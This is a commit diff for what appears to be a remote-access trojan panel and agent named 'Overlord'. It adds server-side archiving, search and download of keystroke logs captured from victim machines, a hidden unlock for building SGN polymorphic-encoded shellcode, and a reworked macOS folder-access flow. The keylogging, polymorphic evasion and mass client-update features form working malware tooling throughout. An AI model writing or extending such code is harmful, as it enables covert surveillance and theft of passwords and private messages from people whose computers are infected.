fix some tele links, add offline keylogger, fix rbac issues with scripting.
This commit is contained in:
@@ -20,7 +20,6 @@ import (
|
||||
"net/http"
|
||||
"net/url"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
@@ -151,7 +150,7 @@ func folderAccessHelp(err error) string {
|
||||
if !canRequestFolderAccess(err) {
|
||||
return ""
|
||||
}
|
||||
return "macOS blocked this folder. Ask the user to allow access in Privacy & Security, then refresh this folder."
|
||||
return "macOS blocked this folder. Confirm the retry, approve the prompt on the Mac, then refresh if needed."
|
||||
}
|
||||
|
||||
func HandleFileRequestAccess(ctx context.Context, env *agentRuntime.Env, cmdID string, path string) error {
|
||||
@@ -171,14 +170,12 @@ func HandleFileRequestAccess(ctx context.Context, env *agentRuntime.Env, cmdID s
|
||||
path = absPath
|
||||
}
|
||||
|
||||
settingsURL := "x-apple.systempreferences:com.apple.preference.security?Privacy_FilesAndFolders"
|
||||
if err := exec.CommandContext(ctx, "open", settingsURL).Run(); err != nil {
|
||||
_ = exec.CommandContext(ctx, "open", "x-apple.systempreferences:com.apple.preference.security?Privacy_AllFiles").Run()
|
||||
if _, err := os.ReadDir(path); err != nil {
|
||||
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: false,
|
||||
Message: fmt.Sprintf("could not open macOS Privacy settings: %v", err),
|
||||
Message: fmt.Sprintf("macOS still blocked folder access for %s: %v", path, err),
|
||||
})
|
||||
}
|
||||
|
||||
@@ -186,7 +183,7 @@ func HandleFileRequestAccess(ctx context.Context, env *agentRuntime.Env, cmdID s
|
||||
Type: "command_result",
|
||||
CommandID: cmdID,
|
||||
OK: true,
|
||||
Message: fmt.Sprintf("opened macOS Privacy settings for folder access; ask the user to allow access for this app, then refresh %s", path),
|
||||
Message: fmt.Sprintf("macOS allowed folder access for %s", path),
|
||||
})
|
||||
}
|
||||
|
||||
|
||||
@@ -46,6 +46,7 @@ const platformInputs = document.querySelectorAll('input[name="platform"]');
|
||||
|
||||
let currentServerVersion = null;
|
||||
let currentUserRole = null;
|
||||
let currentUsername = null;
|
||||
let showAllBuilds = false;
|
||||
|
||||
async function loadServerVersion() {
|
||||
@@ -1232,7 +1233,9 @@ async function init() {
|
||||
|
||||
const data = await res.json();
|
||||
currentUserRole = data.role;
|
||||
currentUsername = data.username || null;
|
||||
usernameDisplay.textContent = data.username;
|
||||
loadSgnTxtUnlockState();
|
||||
|
||||
const roleBadges = {
|
||||
admin: '<i class="fa-solid fa-crown mr-1"></i>Admin',
|
||||
@@ -1440,6 +1443,7 @@ form?.addEventListener("submit", async (e) => {
|
||||
shellcodeConsole: document.getElementById("shellcode-console")?.checked || false,
|
||||
useSgn: document.getElementById("sgn-mode")?.checked || false,
|
||||
sgnIterations: parseInt(document.getElementById("sgn-iterations")?.value, 10) || 1,
|
||||
outputSgnTxt: pendingSgnTxtBuild,
|
||||
uploadToFileShare: pendingUpload,
|
||||
};
|
||||
|
||||
@@ -1498,6 +1502,10 @@ async function startBuild(config) {
|
||||
buildUploadBtn.disabled = true;
|
||||
buildUploadBtn.innerHTML = '<i class="fa-solid fa-spinner fa-spin"></i> <span>Building...</span>';
|
||||
}
|
||||
if (buildSgnTxtBtn) {
|
||||
buildSgnTxtBtn.disabled = true;
|
||||
setSgnTxtButtonState("Building TXT...", "fa-solid fa-spinner fa-spin");
|
||||
}
|
||||
|
||||
buildStatus.classList.remove("hidden");
|
||||
buildStatusText.textContent = "Starting build...";
|
||||
@@ -1558,7 +1566,12 @@ async function startBuild(config) {
|
||||
buildUploadBtn.disabled = false;
|
||||
buildUploadBtn.innerHTML = '<i class="fa-solid fa-cloud-arrow-up"></i> <span>Build & Upload</span>';
|
||||
}
|
||||
if (buildSgnTxtBtn) {
|
||||
buildSgnTxtBtn.disabled = false;
|
||||
updateSgnTxtLockState();
|
||||
}
|
||||
pendingUpload = false;
|
||||
pendingSgnTxtBuild = false;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1947,6 +1960,78 @@ let pendingUpdateAll = false;
|
||||
let pendingUpdateHideWindow = false;
|
||||
let pendingUpload = false;
|
||||
const buildUploadBtn = document.getElementById("build-upload-btn");
|
||||
let pendingSgnTxtBuild = false;
|
||||
const buildSgnTxtBtn = document.getElementById("build-sgn-txt-btn");
|
||||
const buildSgnTxtLockbox = document.getElementById("build-sgn-txt-lockbox");
|
||||
const SGN_TXT_UNLOCK_CLICKS = 10;
|
||||
let sgnTxtUnlockClicks = 0;
|
||||
let sgnTxtUnlocked = false;
|
||||
|
||||
function getSgnTxtUnlockStorageKey() {
|
||||
const userPart = String(currentUsername || "unknown").trim().toLowerCase() || "unknown";
|
||||
return `overlord_sgn_txt_unlocked:${userPart}`;
|
||||
}
|
||||
|
||||
function loadSgnTxtUnlockState() {
|
||||
try {
|
||||
if (localStorage.getItem(getSgnTxtUnlockStorageKey()) === "true") {
|
||||
sgnTxtUnlockClicks = SGN_TXT_UNLOCK_CLICKS;
|
||||
sgnTxtUnlocked = true;
|
||||
}
|
||||
} catch {}
|
||||
updateSgnTxtLockState();
|
||||
}
|
||||
|
||||
function saveSgnTxtUnlockState() {
|
||||
try {
|
||||
localStorage.setItem(getSgnTxtUnlockStorageKey(), "true");
|
||||
} catch {}
|
||||
}
|
||||
|
||||
function setSgnTxtButtonState(label, iconClass) {
|
||||
if (!buildSgnTxtBtn) return;
|
||||
buildSgnTxtBtn.innerHTML = "";
|
||||
const icon = document.createElement("i");
|
||||
icon.className = iconClass;
|
||||
const text = document.createElement("span");
|
||||
text.textContent = label;
|
||||
buildSgnTxtBtn.appendChild(icon);
|
||||
buildSgnTxtBtn.appendChild(text);
|
||||
}
|
||||
|
||||
function pulseSgnTxtLockbox() {
|
||||
if (!buildSgnTxtLockbox) return;
|
||||
buildSgnTxtLockbox.classList.remove("pulse");
|
||||
void buildSgnTxtLockbox.offsetWidth;
|
||||
buildSgnTxtLockbox.classList.add("pulse");
|
||||
}
|
||||
|
||||
function updateSgnTxtLockState() {
|
||||
if (!buildSgnTxtBtn || !buildSgnTxtLockbox) return;
|
||||
const progress = Math.min(1, Math.max(0, sgnTxtUnlockClicks / SGN_TXT_UNLOCK_CLICKS));
|
||||
const stageProgress = (start, end) => Math.min(1, Math.max(0, (progress - start) / (end - start)));
|
||||
const crackProgress = Math.min(1, Math.sqrt(progress) * 1.18);
|
||||
const midCrackProgress = Math.sqrt(stageProgress(0.18, 0.72));
|
||||
const lateCrackProgress = Math.sqrt(stageProgress(0.48, 0.95));
|
||||
buildSgnTxtLockbox.style.setProperty("--sgn-chain-brightness", String(Math.max(0.72, 1 - progress * 0.28)));
|
||||
buildSgnTxtLockbox.style.setProperty("--sgn-chain-opacity", String(Math.max(0.48, 0.9 - progress * 0.42)));
|
||||
buildSgnTxtLockbox.style.setProperty("--sgn-crack-opacity", String(Math.max(0, Math.min(1, crackProgress))));
|
||||
buildSgnTxtLockbox.style.setProperty("--sgn-crack-dash", String(Math.max(0, 1 - crackProgress)));
|
||||
buildSgnTxtLockbox.style.setProperty("--sgn-crack-mid-opacity", String(midCrackProgress * 0.9));
|
||||
buildSgnTxtLockbox.style.setProperty("--sgn-crack-mid-dash", String(Math.max(0, 1 - midCrackProgress)));
|
||||
buildSgnTxtLockbox.style.setProperty("--sgn-crack-late-opacity", String(lateCrackProgress * 0.95));
|
||||
buildSgnTxtLockbox.style.setProperty("--sgn-crack-late-dash", String(Math.max(0, 1 - lateCrackProgress)));
|
||||
buildSgnTxtLockbox.style.setProperty("--sgn-lock-tilt", `${Math.round(progress * 10)}deg`);
|
||||
buildSgnTxtLockbox.classList.toggle("locked", !sgnTxtUnlocked);
|
||||
buildSgnTxtLockbox.classList.toggle("unlocked", sgnTxtUnlocked);
|
||||
if (sgnTxtUnlocked) {
|
||||
setSgnTxtButtonState("Build SGN TXT", "fa-solid fa-file-lines");
|
||||
return;
|
||||
}
|
||||
setSgnTxtButtonState("Build SGN TXT", "fa-solid fa-file-lines");
|
||||
}
|
||||
|
||||
updateSgnTxtLockState();
|
||||
|
||||
function showUpdateAllModal() {
|
||||
if (!updateAllModal) return;
|
||||
@@ -2056,6 +2141,37 @@ if (buildUploadBtn) {
|
||||
});
|
||||
}
|
||||
|
||||
if (buildSgnTxtBtn) {
|
||||
buildSgnTxtBtn.addEventListener("click", () => {
|
||||
if (isBuilding) return;
|
||||
const sgnEnabled = document.getElementById("sgn-mode")?.checked || false;
|
||||
if (!sgnTxtUnlocked) {
|
||||
sgnTxtUnlockClicks += 1;
|
||||
if (sgnTxtUnlockClicks >= SGN_TXT_UNLOCK_CLICKS) {
|
||||
sgnTxtUnlocked = true;
|
||||
saveSgnTxtUnlockState();
|
||||
updateSgnTxtLockState();
|
||||
if (window.showToast) window.showToast("SGN TXT build unlocked", "success");
|
||||
} else {
|
||||
updateSgnTxtLockState();
|
||||
}
|
||||
pulseSgnTxtLockbox();
|
||||
return;
|
||||
}
|
||||
if (!sgnEnabled) {
|
||||
alert("Enable the SGN Polymorphic Encoding option before building an SGN TXT file.");
|
||||
return;
|
||||
}
|
||||
const platformCheckboxes = form.querySelectorAll('input[name="platform"]:checked');
|
||||
if (platformCheckboxes.length === 0) {
|
||||
alert("Please select at least one platform to build");
|
||||
return;
|
||||
}
|
||||
pendingSgnTxtBuild = true;
|
||||
form.requestSubmit();
|
||||
});
|
||||
}
|
||||
|
||||
async function pushUpdateToAllClients(buildId, hideWindow) {
|
||||
addBuildOutput("\n── Pushing update to all eligible clients ──\n", "info");
|
||||
|
||||
|
||||
@@ -32,7 +32,7 @@ const pendingCommandWaiters = new Map();
|
||||
const VIRTUALIZATION_THRESHOLD = 400;
|
||||
const VIRTUAL_ROW_HEIGHT = 58;
|
||||
const VIRTUAL_OVERSCAN = 8;
|
||||
const MAC_PERMISSION_STORAGE_KEY = `filebrowser.macPermissionAllowed.${clientId}.v1`;
|
||||
const MAC_PERMISSION_STORAGE_KEY = `filebrowser.macPermissionAllowed.${clientId}.v2`;
|
||||
const macPermissionAllowedPaths = new Set(loadMacPermissionAllowedPaths());
|
||||
|
||||
let directoryEntries = [];
|
||||
@@ -377,15 +377,9 @@ function isSameOrChildPath(path, root) {
|
||||
}
|
||||
|
||||
function markMacPermissionAllowed(path) {
|
||||
const normalized = normalizeMacPath(path);
|
||||
if (!normalized || normalized === ".") return;
|
||||
const macStylePath = normalized.startsWith("/Users/") ||
|
||||
normalized === "/Volumes" ||
|
||||
normalized.startsWith("/Volumes/") ||
|
||||
normalized === "/Network" ||
|
||||
normalized.startsWith("/Network/");
|
||||
if (detectedOS !== "mac" && !(detectedOS === "" && macStylePath)) return;
|
||||
macPermissionAllowedPaths.add(normalized);
|
||||
const risk = macProtectedLocationForPath(path);
|
||||
if (!risk) return;
|
||||
macPermissionAllowedPaths.add(risk.cachePath || risk.root || risk.path);
|
||||
persistMacPermissionAllowedPaths();
|
||||
}
|
||||
|
||||
@@ -397,9 +391,9 @@ function hasMacPermissionAllowedAncestor(path) {
|
||||
return false;
|
||||
}
|
||||
|
||||
function macPermissionRiskForPath(path) {
|
||||
function macProtectedLocationForPath(path) {
|
||||
const normalized = normalizeMacPath(path);
|
||||
if (!normalized || normalized === "." || hasMacPermissionAllowedAncestor(normalized)) {
|
||||
if (!normalized || normalized === ".") {
|
||||
return null;
|
||||
}
|
||||
|
||||
@@ -438,6 +432,13 @@ function macPermissionRiskForPath(path) {
|
||||
return { ...match, path: normalized, cachePath };
|
||||
}
|
||||
|
||||
function macPermissionRiskForPath(path) {
|
||||
const risk = macProtectedLocationForPath(path);
|
||||
if (!risk) return null;
|
||||
if (hasMacPermissionAllowedAncestor(risk.path)) return null;
|
||||
return risk;
|
||||
}
|
||||
|
||||
function showMacPermissionWarning(risk, operation) {
|
||||
return new Promise((resolve) => {
|
||||
const modal = document.createElement("div");
|
||||
@@ -448,15 +449,15 @@ function showMacPermissionWarning(risk, operation) {
|
||||
<div class="w-full max-w-md rounded-lg border border-amber-500/40 bg-slate-900 shadow-2xl">
|
||||
<div class="px-4 py-3 border-b border-slate-700 flex items-center gap-2">
|
||||
<i class="fa-solid fa-triangle-exclamation text-amber-300"></i>
|
||||
<div class="font-semibold text-slate-100">macOS Permission May Appear</div>
|
||||
<div class="font-semibold text-slate-100">Confirm macOS Access Request</div>
|
||||
</div>
|
||||
<div class="px-4 py-4 text-sm text-slate-300 space-y-3">
|
||||
<p>${escapeHtml(operation)} <span class="font-mono text-slate-100 break-all">${escapeHtml(risk.path)}</span> may ask the person using this Mac to allow access to ${escapeHtml(risk.label)} for this app.</p>
|
||||
<p class="text-xs text-slate-400">Continue only if they are ready to approve the macOS prompt. This choice is remembered for this browser session.</p>
|
||||
<p class="text-xs text-slate-400">After you confirm here, the agent will try to open the folder on the Mac so macOS can show its permission prompt there.</p>
|
||||
</div>
|
||||
<div class="px-4 py-3 border-t border-slate-700 flex justify-end gap-2">
|
||||
<button type="button" data-mac-permission-cancel class="px-3 py-2 rounded bg-slate-700 hover:bg-slate-600 text-sm text-slate-100">Cancel</button>
|
||||
<button type="button" data-mac-permission-continue class="px-3 py-2 rounded bg-amber-500 hover:bg-amber-400 text-sm font-semibold text-slate-950">Continue</button>
|
||||
<button type="button" data-mac-permission-continue class="px-3 py-2 rounded bg-amber-500 hover:bg-amber-400 text-sm font-semibold text-slate-950">Try Access</button>
|
||||
</div>
|
||||
</div>
|
||||
`;
|
||||
@@ -490,10 +491,24 @@ async function confirmMacPermissionRisk(path, operation = "access") {
|
||||
notifyToast("Operation cancelled before macOS permission prompt", "info", 2500);
|
||||
return false;
|
||||
}
|
||||
markMacPermissionAllowed(risk.cachePath || risk.root || risk.path);
|
||||
return true;
|
||||
}
|
||||
|
||||
function macPermissionLockedDirectory(entry) {
|
||||
if (!entry || !entry.isDir) return null;
|
||||
return macPermissionRiskForPath(entry.path);
|
||||
}
|
||||
|
||||
function renderMacPermissionBadge(risk) {
|
||||
if (!risk) return "";
|
||||
return `<span class="inline-flex items-center gap-1 ml-1 px-1.5 py-0.5 rounded border border-amber-500/30 bg-amber-500/10 text-[10px] leading-none text-amber-200 flex-shrink-0" title="macOS may ask for permission to access ${escapeHtml(risk.label)}"><i class="fa-solid fa-lock text-[9px]"></i> Needs permission</span>`;
|
||||
}
|
||||
|
||||
function renderMacPermissionFolderIcon(risk) {
|
||||
if (!risk) return null;
|
||||
return '<span class="relative inline-flex w-4 h-4 items-center justify-center flex-shrink-0"><i class="fa-solid fa-folder text-slate-500"></i><i class="fa-solid fa-lock absolute -right-1 -bottom-1 text-[8px] text-amber-300"></i></span>';
|
||||
}
|
||||
|
||||
function goHome() {
|
||||
listFiles(".", ws, { resetHistory: true });
|
||||
}
|
||||
@@ -1291,11 +1306,11 @@ function isMacFolderAccessError(msg) {
|
||||
|
||||
function renderFileListError(msg) {
|
||||
const canRequestAccess = isMacFolderAccessError(msg);
|
||||
const helpText = msg.accessHelp || "macOS blocked this folder. Ask the user to allow access in Privacy & Security, then refresh this folder.";
|
||||
const helpText = msg.accessHelp || "macOS blocked this folder. Confirm the retry, approve the prompt on the Mac, then refresh if needed.";
|
||||
const actionHtml = canRequestAccess
|
||||
? `<div class="mt-4 flex flex-wrap items-center justify-center gap-2">
|
||||
<button id="request-folder-access-btn" class="button primary text-sm px-4 py-2">
|
||||
<i class="fa-solid fa-unlock-keyhole"></i> Request Access Again
|
||||
<i class="fa-solid fa-unlock-keyhole"></i> Try Access Again
|
||||
</button>
|
||||
<button id="retry-folder-access-btn" class="button ghost text-sm px-4 py-2">
|
||||
<i class="fa-solid fa-rotate-right"></i> Retry
|
||||
@@ -1321,19 +1336,10 @@ function renderFileListError(msg) {
|
||||
}
|
||||
}
|
||||
|
||||
function requestFolderAccess(path) {
|
||||
const commandId = `file-access-${Date.now()}`;
|
||||
send({
|
||||
type: "command",
|
||||
commandType: "file_request_access",
|
||||
id: commandId,
|
||||
payload: { path: path || currentPath || "." },
|
||||
});
|
||||
trackCommandResult(commandId, {
|
||||
successMessage: "Opened macOS Privacy settings. Ask the user to allow access, then retry.",
|
||||
errorPrefix: "Access request failed",
|
||||
});
|
||||
notifyToast("Asking the Mac to open Privacy settings...", "info", 3500);
|
||||
async function requestFolderAccess(path) {
|
||||
const targetPath = path || currentPath || ".";
|
||||
notifyToast("Trying to open the folder on the Mac...", "info", 3500);
|
||||
await listFiles(targetPath, ws, { skipHistory: true });
|
||||
}
|
||||
|
||||
function createParentRow(parentPath) {
|
||||
@@ -1362,18 +1368,25 @@ function createParentRow(parentPath) {
|
||||
|
||||
function createFileRow(entry) {
|
||||
const row = document.createElement("div");
|
||||
const macPermissionRisk = macPermissionLockedDirectory(entry);
|
||||
row.className =
|
||||
"file-item grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors";
|
||||
"file-item grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors" +
|
||||
(macPermissionRisk ? " opacity-60 bg-slate-950/30 hover:bg-amber-900/10" : " hover:bg-slate-800/50");
|
||||
row.dataset.path = entry.path;
|
||||
row.dataset.isDir = entry.isDir;
|
||||
if (macPermissionRisk) {
|
||||
row.dataset.macPermission = "required";
|
||||
row.title = `macOS may ask the user to allow access to ${macPermissionRisk.label}.`;
|
||||
}
|
||||
|
||||
// Kick off lazy fetches for the row's real icon and (if applicable) its thumbnail.
|
||||
// Both are throttled + batched; the DOM gets updated when results arrive.
|
||||
requestIconFor(entry);
|
||||
if (!entry.isDir) requestThumbFor(entry);
|
||||
|
||||
const icon = getFileIcon(entry);
|
||||
const icon = renderMacPermissionFolderIcon(macPermissionRisk) || getFileIcon(entry);
|
||||
const badges = renderAttrBadges(entry.attrs);
|
||||
const macPermissionBadge = renderMacPermissionBadge(macPermissionRisk);
|
||||
|
||||
const size = entry.isDir ? "-" : formatBytes(entry.size);
|
||||
const modTime = new Date(entry.modTime * 1000).toLocaleString();
|
||||
@@ -1393,6 +1406,7 @@ function createFileRow(entry) {
|
||||
<span class="truncate">${escapeHtml(entry.name)}</span>
|
||||
${pinBtn}
|
||||
${badges}
|
||||
${macPermissionBadge}
|
||||
</div>
|
||||
<div class="col-span-2 text-sm text-slate-400 file-size-col">${size}</div>
|
||||
<div class="col-span-3 text-sm text-slate-400 file-modified-col">${modTime}</div>
|
||||
@@ -3103,9 +3117,17 @@ function applyClientInfo(osStr, userName) {
|
||||
|
||||
function sidebarItem(icon, label, path, color) {
|
||||
const active = currentPath && (currentPath === path || currentPath.startsWith(path + "/") || currentPath.startsWith(path + "\\"));
|
||||
return `<button class="sidebar-item w-full flex items-center gap-3 px-3 py-1.5 rounded-md text-sm text-slate-300 hover:text-white transition-colors text-left${active ? " active" : ""}" data-path="${escapeHtml(path)}">
|
||||
const macPermissionRisk = macPermissionRiskForPath(path);
|
||||
const lockHtml = macPermissionRisk
|
||||
? '<i class="fa-solid fa-lock text-amber-300 text-[10px] flex-shrink-0"></i>'
|
||||
: "";
|
||||
const titleAttr = macPermissionRisk
|
||||
? ` title="macOS may ask the user to allow access to ${escapeHtml(macPermissionRisk.label)}"`
|
||||
: "";
|
||||
return `<button class="sidebar-item w-full flex items-center gap-3 px-3 py-1.5 rounded-md text-sm text-slate-300 hover:text-white transition-colors text-left${active ? " active" : ""}${macPermissionRisk ? " opacity-60" : ""}" data-path="${escapeHtml(path)}"${titleAttr}>
|
||||
<i class="fa-solid ${icon} ${color} w-4 text-center text-xs"></i>
|
||||
<span class="truncate">${label}</span>
|
||||
${lockHtml}
|
||||
</button>`;
|
||||
}
|
||||
|
||||
|
||||
@@ -49,6 +49,7 @@ let globalSearchCache = new Map();
|
||||
let globalSearchAbortController = null;
|
||||
let clientOs = ""; // filled from the "ready" message
|
||||
let needsPermissionGate = false; // true for darwin/mac clients
|
||||
let archiveMode = false;
|
||||
|
||||
clientLabel.textContent = clientId;
|
||||
|
||||
@@ -136,9 +137,16 @@ function handleMessage(msg) {
|
||||
|
||||
switch (msg.type) {
|
||||
case "ready":
|
||||
archiveMode = msg.clientOnline === false;
|
||||
clientOs = msg.clientOs || "";
|
||||
needsPermissionGate = isMacOs(clientOs);
|
||||
console.log("Keylogger session ready, clientOs:", clientOs, "needsPermissionGate:", needsPermissionGate);
|
||||
if (archiveMode) {
|
||||
updateStatus("pill-offline", "Archive");
|
||||
showFileListPanel();
|
||||
loadArchiveList();
|
||||
return;
|
||||
}
|
||||
if (needsPermissionGate) {
|
||||
showPermissionGate();
|
||||
} else {
|
||||
@@ -171,7 +179,10 @@ function handleMessage(msg) {
|
||||
break;
|
||||
case "status":
|
||||
if (msg.status === "offline") {
|
||||
archiveMode = true;
|
||||
updateStatus("pill-offline", "Client Offline");
|
||||
showFileListPanel();
|
||||
loadArchiveList();
|
||||
}
|
||||
break;
|
||||
case "keylog_file_list":
|
||||
@@ -214,21 +225,61 @@ function handleMessage(msg) {
|
||||
}
|
||||
|
||||
function requestFileList() {
|
||||
if (archiveMode) {
|
||||
loadArchiveList();
|
||||
return;
|
||||
}
|
||||
send({ type: "keylog_list" });
|
||||
}
|
||||
|
||||
function requestFileContent(filename) {
|
||||
if (archiveMode) {
|
||||
loadArchiveContent(filename);
|
||||
return;
|
||||
}
|
||||
send({ type: "keylog_retrieve", filename });
|
||||
}
|
||||
|
||||
function requestClearAll() {
|
||||
if (archiveMode) return;
|
||||
send({ type: "keylog_clear_all" });
|
||||
}
|
||||
|
||||
function requestDeleteFile(filename) {
|
||||
if (archiveMode) return;
|
||||
send({ type: "keylog_delete", filename });
|
||||
}
|
||||
|
||||
async function loadArchiveList() {
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/keylogger/archive`, { credentials: "include" });
|
||||
const data = await res.json().catch(() => ({}));
|
||||
if (!res.ok) throw new Error(data.error || "Failed to load archive");
|
||||
displayFileList((data.files || []).map((file) => ({ ...file, archived: true })));
|
||||
} catch (err) {
|
||||
console.error("Failed to load archived keylogs:", err);
|
||||
fileList.innerHTML = `
|
||||
<div class="text-rose-300 text-center py-8">
|
||||
<i class="fa-solid fa-triangle-exclamation text-4xl mb-2"></i>
|
||||
<p>Failed to load archived logs</p>
|
||||
</div>
|
||||
`;
|
||||
}
|
||||
}
|
||||
|
||||
async function loadArchiveContent(filename) {
|
||||
try {
|
||||
const params = new URLSearchParams({ filename });
|
||||
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/keylogger/archive/content?${params.toString()}`, { credentials: "include" });
|
||||
const data = await res.json().catch(() => ({}));
|
||||
if (!res.ok) throw new Error(data.error || "Failed to load archived file");
|
||||
displayFileContent(data.filename || filename, data.content || "");
|
||||
} catch (err) {
|
||||
console.error("Failed to load archived keylog:", err);
|
||||
window.showToast("Failed to load archived log", "error");
|
||||
}
|
||||
}
|
||||
|
||||
function downloadLog(filename, content) {
|
||||
const decoded = rot13Decode(content || "");
|
||||
const blob = new Blob([decoded], { type: "text/plain;charset=utf-8" });
|
||||
@@ -283,6 +334,12 @@ function displayFileList(files) {
|
||||
</div>
|
||||
</div>
|
||||
<div class="flex items-center gap-2">
|
||||
${file.archived ? `
|
||||
<span class="px-2 py-1 rounded bg-yellow-900/30 border border-yellow-700 text-yellow-200 text-xs inline-flex items-center gap-1">
|
||||
<i class="fa-solid fa-box-archive"></i>
|
||||
Archive
|
||||
</span>
|
||||
` : ""}
|
||||
<button
|
||||
class="view-log-btn px-3 py-2 rounded-lg border border-blue-700 bg-blue-900/50 hover:bg-blue-800/70 text-blue-100 flex items-center gap-2"
|
||||
data-filename="${file.name}"
|
||||
@@ -297,6 +354,7 @@ function displayFileList(files) {
|
||||
<i class="fa-solid fa-download"></i>
|
||||
<span>Download</span>
|
||||
</button>
|
||||
${archiveMode ? "" : `
|
||||
<button
|
||||
class="delete-log-btn px-3 py-2 rounded-lg border border-red-700 bg-red-900/40 hover:bg-red-800/70 text-red-100 flex items-center gap-2"
|
||||
data-filename="${file.name}"
|
||||
@@ -304,6 +362,7 @@ function displayFileList(files) {
|
||||
<i class="fa-solid fa-trash"></i>
|
||||
<span>Delete</span>
|
||||
</button>
|
||||
`}
|
||||
</div>
|
||||
</div>
|
||||
`
|
||||
@@ -560,6 +619,11 @@ async function performGlobalSearch(query) {
|
||||
}
|
||||
globalSearchAbortController = new AbortController();
|
||||
|
||||
if (archiveMode) {
|
||||
await performArchivedGlobalSearch(query);
|
||||
return;
|
||||
}
|
||||
|
||||
const files = Array.from(fileIndex.values());
|
||||
const lowerQuery = query.toLowerCase();
|
||||
const results = [];
|
||||
@@ -629,7 +693,51 @@ async function performGlobalSearch(query) {
|
||||
displayGlobalSearchResults(results, query);
|
||||
}
|
||||
|
||||
async function performArchivedGlobalSearch(query) {
|
||||
globalSearchResults.innerHTML = `
|
||||
<div class="text-slate-400 text-center py-8">
|
||||
<i class="fa-solid fa-spinner fa-spin text-4xl mb-2"></i>
|
||||
<p>Searching archived logs...</p>
|
||||
</div>
|
||||
`;
|
||||
globalSearchStats.classList.remove("hidden");
|
||||
globalSearchProgress.textContent = "Searching archive...";
|
||||
globalSearchCount.textContent = "";
|
||||
|
||||
try {
|
||||
const params = new URLSearchParams({ q: query });
|
||||
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/keylogger/archive/search?${params.toString()}`, { credentials: "include" });
|
||||
const data = await res.json().catch(() => ({}));
|
||||
if (!res.ok) throw new Error(data.error || "Search failed");
|
||||
displayGlobalSearchResults(data.results || [], query);
|
||||
} catch (err) {
|
||||
console.error("Archived search failed:", err);
|
||||
globalSearchResults.innerHTML = `
|
||||
<div class="text-rose-300 text-center py-8">
|
||||
<i class="fa-solid fa-triangle-exclamation text-4xl mb-2"></i>
|
||||
<p>Archived search failed</p>
|
||||
</div>
|
||||
`;
|
||||
globalSearchProgress.textContent = "Search failed";
|
||||
globalSearchCount.textContent = "";
|
||||
}
|
||||
}
|
||||
|
||||
function loadFileContent(filename) {
|
||||
if (archiveMode) {
|
||||
return new Promise(async (resolve, reject) => {
|
||||
try {
|
||||
const params = new URLSearchParams({ filename });
|
||||
const res = await fetch(`/api/clients/${encodeURIComponent(clientId)}/keylogger/archive/content?${params.toString()}`, { credentials: "include" });
|
||||
const data = await res.json().catch(() => ({}));
|
||||
if (!res.ok) throw new Error(data.error || "Failed to load archived file");
|
||||
resolve(rot13Decode(data.content || ""));
|
||||
} catch (err) {
|
||||
reject(err);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
return new Promise((resolve, reject) => {
|
||||
let resolved = false;
|
||||
const timeout = setTimeout(() => {
|
||||
@@ -749,10 +857,14 @@ requestPermissionBtn.addEventListener("click", () => {
|
||||
|
||||
refreshBtn.addEventListener("click", () => {
|
||||
requestFileList();
|
||||
window.showToast("Refreshing file list...", "info");
|
||||
window.showToast(archiveMode ? "Refreshing archive..." : "Refreshing file list...", "info");
|
||||
});
|
||||
|
||||
clearBtn.addEventListener("click", () => {
|
||||
if (archiveMode) {
|
||||
window.showToast("Archived logs are retained by server policy.", "info");
|
||||
return;
|
||||
}
|
||||
if (
|
||||
confirm(
|
||||
"Are you sure you want to clear all keylog files? This action cannot be undone."
|
||||
|
||||
@@ -371,8 +371,8 @@ function applyMenuSupportRules(clientId) {
|
||||
const keyloggerSupported = isWindows || platform === "mac";
|
||||
setAvailability(
|
||||
keyloggerBtn,
|
||||
isOnline && keyloggerSupported,
|
||||
isOnline ? "Keylogger is not supported on this platform." : "Client is offline",
|
||||
keyloggerSupported,
|
||||
"Keylogger is not supported on this platform.",
|
||||
);
|
||||
|
||||
const winreBtn = menu.querySelector('[data-open="winre"]');
|
||||
@@ -400,9 +400,14 @@ function applyMenuSupportRules(clientId) {
|
||||
setAvailability(silentExecBtn, isOnline, "Client is offline");
|
||||
}
|
||||
|
||||
["remote-access", "monitoring", "system"].forEach(groupId => {
|
||||
["remote-access", "system"].forEach(groupId => {
|
||||
setAvailability(menu.querySelector(`[data-group-toggle="${groupId}"]`), isOnline, "Client is offline");
|
||||
});
|
||||
setAvailability(
|
||||
menu.querySelector('[data-group-toggle="monitoring"]'),
|
||||
isOnline || keyloggerSupported,
|
||||
keyloggerSupported ? "" : "Client is offline",
|
||||
);
|
||||
|
||||
["ping", "reconnect", "disconnect", "uninstall"].forEach(action => {
|
||||
setAvailability(menu.querySelector(`[data-action="${action}"]`), isOnline, "Client is offline");
|
||||
|
||||
@@ -39,6 +39,14 @@ const prefDesktopNotificationsInput = document.getElementById("pref-desktop-noti
|
||||
const prefDesktopNotificationsHint = document.getElementById("pref-desktop-notifications-hint");
|
||||
const prefRefreshSecondsInput = document.getElementById("pref-refresh-seconds");
|
||||
|
||||
const inputArchiveUserForm = document.getElementById("input-archive-user-form");
|
||||
const inputArchiveMyEnabledInput = document.getElementById("input-archive-my-enabled");
|
||||
const inputArchiveAdminForm = document.getElementById("input-archive-admin-form");
|
||||
const inputArchiveGlobalEnabledInput = document.getElementById("input-archive-global-enabled");
|
||||
const inputArchiveRetentionDaysInput = document.getElementById("input-archive-retention-days");
|
||||
const inputArchiveMaxFileMbInput = document.getElementById("input-archive-max-file-mb");
|
||||
const inputArchivePollSecondsInput = document.getElementById("input-archive-poll-seconds");
|
||||
|
||||
const myTelegramChatIdInput = document.getElementById("my-telegram-chat-id");
|
||||
const saveMyTelegramBtn = document.getElementById("save-my-telegram");
|
||||
|
||||
@@ -216,6 +224,7 @@ async function renderPermissionsOverview() {
|
||||
"system:chat",
|
||||
"system:appearance",
|
||||
"system:thumbnails",
|
||||
"system:input-archive",
|
||||
"system:build-limits",
|
||||
"system:export-import",
|
||||
"system:health",
|
||||
